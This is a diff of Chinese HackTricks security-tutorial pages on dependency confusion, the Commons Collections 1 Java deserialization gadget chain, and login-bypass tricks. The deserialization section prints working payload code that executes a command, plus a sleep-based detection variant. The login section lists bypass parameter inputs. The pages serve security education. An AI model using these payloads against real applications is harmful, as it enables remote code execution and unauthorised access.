* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks存储库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud存储库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
简而言之,依赖混淆漏洞发生在项目使用具有**拼写错误**、**不存在**或**未指定版本**的库,并且所使用的依赖库允许从**公共**存储库中**获取更新版本**时。
|
||||
总之,依赖混淆漏洞发生在项目使用一个 **拼写错误**、**不存在**或 **未指定版本** 的库时,而所使用的依赖库仓库允许从 **公共** 仓库 **获取更新版本**。
|
||||
|
||||
* **拼写错误**:导入**`reqests`**而不是`requests`
|
||||
* **不存在**:导入`company-logging`,一个**不再存在**的内部库
|
||||
* **未指定版本**:导入一个**内部**的**存在**的`company-requests`库,但存储库检查**公共存储库**以查看是否有**更高版本**。
|
||||
* **拼写错误**:导入 **`reqests`** 而不是 `requests`
|
||||
* **不存在**:导入 `company-logging`,一个 **不再存在** 的内部库
|
||||
* **未指定版本**:导入一个 **内部** **存在的** `company-requests` 库,但仓库检查 **公共仓库** 以查看是否有 **更高版本**。
|
||||
|
||||
## 利用
|
||||
|
||||
{% hint style="warning" %}
|
||||
在所有情况下,攻击者只需发布一个带有受害公司使用的库名称的**恶意软件包**。
|
||||
在所有情况下,攻击者只需发布一个 **恶意包,名称与** 受害公司使用的库相同。
|
||||
{% endhint %}
|
||||
|
||||
### 拼写错误和不存在
|
||||
### 拼写错误与不存在
|
||||
|
||||
如果您的公司试图**导入一个不是内部的库**,很可能库的存储库会在**公共存储库**中搜索它。 如果攻击者已经创建了它,您的代码和运行的机器很可能会受到威胁。
|
||||
如果您的公司试图 **导入一个不是内部的库**,那么库的仓库很可能会在 **公共仓库** 中搜索它。如果攻击者创建了它,您的代码和运行的机器很可能会被攻陷。
|
||||
|
||||
### 未指定版本
|
||||
|
||||
开发人员很常见地**不指定库的任何版本**,或者只指定一个**主要版本**。 然后,解释器将尝试下载符合这些要求的**最新版本**。\
|
||||
如果库是一个**已知的外部库**(如python `requests`),**攻击者无法做太多事情**,因为他将无法创建一个名为`requests`的库(除非他是原始作者)。\
|
||||
但是,如果库是**内部**的,就像在这个例子中的`requests-company`,如果**库存储库**允许**在外部也检查新版本**,它将搜索公开可用的更新版本。\
|
||||
因此,如果**攻击者知道**公司正在使用`requests-company`库**版本1.0.1**(允许次要更新)。 他可以**发布**库`requests-company`**版本1.0.2**,公司将**使用该库**而不是内部库。
|
||||
开发者 **不指定任何版本** 的库,或仅指定一个 **主要版本** 是非常常见的。然后,解释器将尝试下载符合这些要求的 **最新版本**。\
|
||||
如果库是一个 **已知的外部库**(如 Python 的 `requests`),攻击者 **无法做太多**,因为他无法创建一个名为 `requests` 的库(除非他是原作者)。\
|
||||
然而,如果库是 **内部的**,如本例中的 `requests-company`,如果 **库仓库** 允许 **检查新版本也在外部**,它将搜索一个公开可用的更新版本。\
|
||||
因此,如果一个 **攻击者知道** 公司正在使用 `requests-company` 库 **版本 1.0.1**(允许小版本更新)。他可以 **发布** 库 `requests-company` **版本 1.0.2**,而公司将 **使用该库而不是内部库**。
|
||||
|
||||
## AWS修复
|
||||
## AWS 修复
|
||||
|
||||
这个漏洞在AWS的**CodeArtifact**中被发现(阅读这篇[**博客文章中的详细信息**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
|
||||
AWS通过允许指定库是内部还是外部来修复了这个问题,以避免从外部存储库下载内部依赖项。
|
||||
此漏洞在 AWS **CodeArtifact** 中被发现(阅读 [**此博客文章中的详细信息**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d))。\
|
||||
AWS 通过允许指定库是内部还是外部来修复此问题,以避免从外部仓库下载内部依赖。
|
||||
|
||||
## 查找易受攻击的库
|
||||
|
||||
在关于**依赖混淆**的[**原始帖子中**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),作者搜索了数千个包含JavaScript项目依赖项的package.json文件。
|
||||
在 [**关于依赖混淆的原始文章**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) 中,作者搜索了数千个暴露的 package.json 文件,包含 JavaScript 项目的依赖。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
@ -60,14 +62,17 @@ AWS通过允许指定库是内部还是外部来修复了这个问题,以避
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks存储库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud存储库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Java Transformers to Rutime exec()
|
||||
|
||||
在几个地方,您可以找到一个使用Apache common collections中的转换器的java反序列化payload,如下所示:
|
||||
在多个地方,你可以找到一个使用 Apache common collections 中变换器的 Java 反序列化有效负载,如下所示:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -52,22 +55,22 @@ lazyMap.get("anything");
|
|||
}
|
||||
}
|
||||
```
|
||||
如果你对Java反序列化负载一无所知,可能很难弄清楚为什么这段代码会执行计算器。
|
||||
如果你对 Java 反序列化有效载荷一无所知,可能很难弄清楚为什么这段代码会执行一个 calc。
|
||||
|
||||
首先,你需要知道在Java中,**Transformer** 是一个**接收一个类**并将其**转换为另一个类**的东西。\
|
||||
另外,有趣的是这里被**执行**的**payload**等同于:
|
||||
首先,你需要知道 **Java 中的 Transformer** 是一个 **接收一个类** 并 **将其转换为另一个类** 的东西。\
|
||||
此外,值得注意的是,这里被 **执行** 的 **有效载荷** 是 **等价于**:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
或者**更确切地说**,最终将执行的内容是:
|
||||
或者**更准确地说**,最终将被执行的是:
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
### 如何
|
||||
|
||||
那么,第一个 payload 如何等同于那些“简单”的一行代码呢?
|
||||
那么,为什么第一个有效载荷与那些“简单”的单行代码等效呢?
|
||||
|
||||
首先,您可以注意到 payload 中创建了一个转换链(数组):
|
||||
**首先**,您可以注意到在有效载荷中创建了一个 **变换链(数组)**:
|
||||
```java
|
||||
String[] command = {"calc.exe"};
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
|
@ -94,15 +97,15 @@ command
|
|||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
如果您阅读代码,您会注意到如果您以某种方式链接数组的转换,您就可以执行任意命令。
|
||||
如果你阅读代码,你会注意到,如果你以某种方式链接数组的转换,你将能够执行任意命令。
|
||||
|
||||
那么,**这些转换是如何链接的呢?**
|
||||
那么,**这些转换是如何链接的?**
|
||||
```java
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
在payload的最后一部分中,您可以看到创建了一个**Map对象**。然后,使用该地图对象和链接的转换器从`LazyMap`执行`decorate`函数。从以下代码中,您可以看到这将导致**链接的转换器**被复制到`lazyMap.factory`属性中:
|
||||
在有效负载的最后部分,您可以看到一个 **Map 对象被创建**。然后,从 `LazyMap` 执行函数 `decorate`,传入 map 对象和链式转换器。从以下代码可以看出,这将导致 **链式转换器** 被复制到 `lazyMap.factory` 属性中:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
|
@ -112,9 +115,9 @@ throw new IllegalArgumentException("Factory must not be null");
|
|||
this.factory = factory;
|
||||
}
|
||||
```
|
||||
然后执行伟大的结局:`lazyMap.get("anything");`
|
||||
然后伟大的结局被执行: `lazyMap.get("anything");`
|
||||
|
||||
这是`get`函数的代码:
|
||||
这是 `get` 函数的代码:
|
||||
```java
|
||||
public Object get(Object key) {
|
||||
if (map.containsKey(key) == false) {
|
||||
|
@ -125,32 +128,7 @@ return value;
|
|||
return map.get(key);
|
||||
}
|
||||
```
|
||||
以下是`transform`函数的代码
|
||||
|
||||
```java
|
||||
public Object transform(Object value) {
|
||||
try {
|
||||
Runtime rt = Runtime.getRuntime();
|
||||
Process proc = rt.exec((String)value);
|
||||
BufferedReader stdInput = new BufferedReader(new
|
||||
InputStreamReader(proc.getInputStream()));
|
||||
BufferedReader stdError = new BufferedReader(new
|
||||
InputStreamReader(proc.getErrorStream()));
|
||||
String output = "";
|
||||
String line;
|
||||
while ((line = stdInput.readLine()) != null) {
|
||||
output += line + "\n";
|
||||
}
|
||||
while ((line = stdError.readLine()) != null) {
|
||||
output += line + "\n";
|
||||
}
|
||||
return output;
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
```
|
||||
这是 `transform` 函数的代码
|
||||
```java
|
||||
public Object transform(Object object) {
|
||||
for (int i = 0; i < iTransformers.length; i++) {
|
||||
|
@ -159,11 +137,11 @@ object = iTransformers[i].transform(object);
|
|||
return object;
|
||||
}
|
||||
```
|
||||
所以,请记住,在**factory**内部,我们保存了**`chainedTransformer`**,在**`transform`**函数内部,我们正在**遍历所有这些链接的transformers**,并逐个执行。有趣的是,**每个transformer都使用`object`作为输入**,**object是上一个transformer执行的输出**。因此,**所有的转换都被链接执行恶意载荷**。
|
||||
所以,请记住,在 **factory** 中我们保存了 **`chainedTransformer`**,在 **`transform`** 函数中,我们 **遍历所有这些链式变换器** 并一个接一个地执行它们。有趣的是,**每个变换器都使用 `object`** **作为输入**,而 **object 是上一个执行的变换器的输出**。因此,**所有的变换都是链式执行恶意有效载荷**。
|
||||
|
||||
### 摘要
|
||||
|
||||
最后,由于**lazyMap**在**get**方法中管理链接的transformers的方式,就好像我们在执行以下代码一样:
|
||||
最后,由于 lazyMap 在 get 方法中管理链式变换器的方式,就像我们在执行以下代码一样:
|
||||
```java
|
||||
Object value = "someting";
|
||||
|
||||
|
@ -184,15 +162,15 @@ new Class[]{String.class},
|
|||
command
|
||||
).transform(value); //(4)
|
||||
```
|
||||
_注意`value`是每个转换的输入,也是前一个转换的输出,从而实现一行代码的执行:_
|
||||
_注意 `value` 是每个转换的输入和前一个转换的输出,从而允许执行一行代码:_
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
注意这里**解释了用于**ComonsCollections1**负载的小工具。但没有解释**所有这些是如何开始执行的**。您可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java),为了执行这个payload,使用了一个`AnnotationInvocationHandler`对象,因为**当这个对象被反序列化时**,它将**调用**`payload.get()`函数,这将**执行整个payload**。
|
||||
注意这里**解释了用于**ComonsCollections1**有效负载的gadget**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java),为了执行这个有效负载,它使用了一个`AnnotationInvocationHandler`对象,因为**当这个对象被反序列化时**,它将**调用**`payload.get()`函数,这将**执行整个有效负载**。
|
||||
|
||||
## Java线程休眠
|
||||
## Java 线程休眠
|
||||
|
||||
如果网站易受攻击,这个payload可能会**很有用,因为它将执行一个休眠**。
|
||||
这个有效负载可能**有助于识别网站是否存在漏洞,因为如果存在漏洞,它将执行休眠**。
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -237,18 +215,21 @@ lazyMap.get("anything");
|
|||
```
|
||||
## 更多小工具
|
||||
|
||||
您可以在这里找到更多小工具:[https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
您可以在这里找到更多小工具: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中被宣传**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# PDF上传 - XXE和CORS绕过
|
||||
# PDF 上传 - XXE 和 CORS 绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**查看[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||
**查看 [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,66 @@
|
|||
# 登录绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## **绕过常规登录**
|
||||
|
||||
如果找到一个登录页面,您可以尝试以下一些技术来绕过它:
|
||||
如果你发现一个登录页面,这里有一些技术可以尝试绕过它:
|
||||
|
||||
* 检查页面内的**注释**(向下滚动并向右滚动?)
|
||||
* 检查是否可以**直接访问受限页面**
|
||||
* 检查**不发送参数**(不发送任何参数或仅发送一个参数)
|
||||
* 检查**PHP比较错误:** `user[]=a&pwd=b`,`user=a&pwd[]=b`,`user[]=a&pwd[]=b`
|
||||
* **将内容类型更改为json**并发送json值(包括bool true)
|
||||
* 如果收到响应说POST不受支持,可以尝试使用`Content-Type: application/json`在GET请求中发送**JSON主体**
|
||||
* 检查nodejs潜在的解析错误(阅读[**此文章**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)):`password[password]=1`
|
